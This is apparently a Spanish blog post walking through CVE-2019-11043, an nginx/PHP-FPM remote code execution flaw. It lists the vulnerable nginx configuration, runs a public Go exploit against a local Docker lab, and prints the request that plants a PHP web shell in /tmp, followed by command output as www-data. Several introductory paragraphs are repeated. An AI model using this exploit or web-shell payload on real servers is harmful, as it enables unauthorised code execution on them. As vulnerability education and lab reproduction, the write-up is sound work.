Del 14 al 16 de septiembre se jugaba el Real World CTF y, durante el mismo, Andrew Danau se dió cuenta de un comportamiento extraño con un script en PHP. En uno de los retos hCorem, cuando enviaba %0a (newline o nueva línea) en la URL el servidor devolvía más datos de la cuenta. Normalmente ese tipo de respuesta está relacionado con ataques de corrupción de memoria. Sin embargo y aunque Andrew y sus compañeros no consiguieron resolver el reto, siguieron investigado y se dieron cuenta que es posible conseguir ejecución remota de código con una configuración específica de Nginx y php con fpm (FastCGI Process Manager).
Concretamente es posible gracias a la directiva fastcgi_split_path y algunos regex de nuevas líneas. Debido al carácter %0a, Nginx establece un valor vacío para esta variable, y fastcgi + PHP simplemente no lo espera. El fichero de configuración sería como este:
- location ~ [^/]\.php(/|$) debe enviarse a php-fpm.
- La directiva fastcgi_split_path_info debe estar y contener una expresión regular que comience con ^ y termine con $, para que se pueda dividir con un carácter de nueva línea.
- Debe haber una asignación de variable PATH_INFO a través de la declaración fastcgi_param PATH_INFO $fastcgi_path_info;.
- No se debe comprobar la existencia de archivos como try_files $uri =404 o if (-f $uri). Si Nginx descarta solicitudes a scripts no existentes antes del reenvío FastCGI, la solicitudes nunca llegan a php-fpm.
La vulnerabilidad ya ha sido bautizada con CVE-2019-11043 y Emil Lerner ha publicado un exploit en Go que funciona en PHP 7+ (aunque el error en sí está presente en versiones anteriores). Para probarlo primero usaremos una imagen docker de Canis Majoris:
Como veis, en un momento tenemos ya corriendo el servidor vulnerable. Ahora lanzaremos el exploit en Go:
Y el servidor recibirá una serie de peticiones como esta:
Hasta poder ejecutar comandos, el ansiado RCE, simplemente con una petición get:
Concretamente es posible gracias a la directiva fastcgi_split_path y algunos regex de nuevas líneas. Debido al carácter %0a, Nginx establece un valor vacío para esta variable, y fastcgi + PHP simplemente no lo espera. El fichero de configuración sería como este:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
- location ~ [^/]\.php(/|$) debe enviarse a php-fpm.
- La directiva fastcgi_split_path_info debe estar y contener una expresión regular que comience con ^ y termine con $, para que se pueda dividir con un carácter de nueva línea.
- Debe haber una asignación de variable PATH_INFO a través de la declaración fastcgi_param PATH_INFO $fastcgi_path_info;.
- No se debe comprobar la existencia de archivos como try_files $uri =404 o if (-f $uri). Si Nginx descarta solicitudes a scripts no existentes antes del reenvío FastCGI, la solicitudes nunca llegan a php-fpm.
La vulnerabilidad ya ha sido bautizada con CVE-2019-11043 y Emil Lerner ha publicado un exploit en Go que funciona en PHP 7+ (aunque el error en sí está presente en versiones anteriores). Para probarlo primero usaremos una imagen docker de Canis Majoris:
$ git clone https://github.com/akamajoris/CVE-2019-11043-Docker.git
$ cd CVE-2019-11043-Docker
$ sudo docker build -t cve-2019-11043 .
$ sudo docker run -p8080:80 cve-2019-11043:latest
[27-Oct-2019 22:16:06] NOTICE: PHP message: PHP Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/local/lib/php/extensions/no-debug-non-zts-20180731/sodium.so (/usr/local/lib/php/extensions/no-debug-non-zts-20180731/sodium.so: cannot open shared object file: No such file or directory), /usr/local/lib/php/extensions/no-debug-non-zts-20180731/sodium.so.so (/usr/local/lib/php/extensions/no-debug-non-zts-20180731/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
[27-Oct-2019 22:16:06] NOTICE: fpm is running, pid 8
[27-Oct-2019 22:16:06] NOTICE: ready to handle connections
127.0.0.1 - 27/Oct/2019:22:16:21 +0000 "GET /index.php" 200
172.17.0.1 - - [27/Oct/2019:22:16:21 +0000] "GET / HTTP/1.1" 200 11 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" "-"
172.17.0.1 - - [27/Oct/2019:22:16:21 +0000] "GET /favicon.ico HTTP/1.1" 404 153 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" "-"
2019/10/27 22:16:21 [error] 10#10: *1 open() "/var/www/html/favicon.ico" failed (2: No such file or directory), client: 172.17.0.1, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "localhost:8080"
Como veis, en un momento tenemos ya corriendo el servidor vulnerable. Ahora lanzaremos el exploit en Go:
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get github.com/neex/phuip-fpizdam
$ phuip-fpizdam http://localhost:8080/index.php
2019/10/27 23:29:47 Base status code is 200
2019/10/27 23:29:47 Status code 502 for qsl=1765, adding as a candidate
2019/10/27 23:29:47 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2019/10/27 23:29:47 Attack params found: --qsl 1755 --pisos 182 --skip-detect
2019/10/27 23:29:47 Trying to set "session.auto_start=0"...
2019/10/27 23:29:47 Detect() returned attack params: --qsl 1755 --pisos 182 --skip-detect <-- br="" remember="" this="">2019/10/27 23:29:47 Performing attack using php.ini settings...
2019/10/27 23:29:47 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/27 23:29:47 Trying to cleanup /tmp/a...
2019/10/27 23:29:47 Done!-->
Y el servidor recibirá una serie de peticiones como esta:
172.17.0.1 - - [27/Oct/2019:22:46:24 +0000] "GET /index.php/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1" 200 872 "-" "Mozilla/5.0" "-"
Hasta poder ejecutar comandos, el ansiado RCE, simplemente con una petición get:
http://127.0.0.1:8080/index.php?a=id
172.17.0.1 - - [27/Oct/2019:22:53:19 +0000] "GET /index.php?a=id HTTP/1.1" 200 66 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" "-"
uid=33(www-data) gid=33(www-data) groups=33(www-data) 1
Comentarios
Publicar un comentario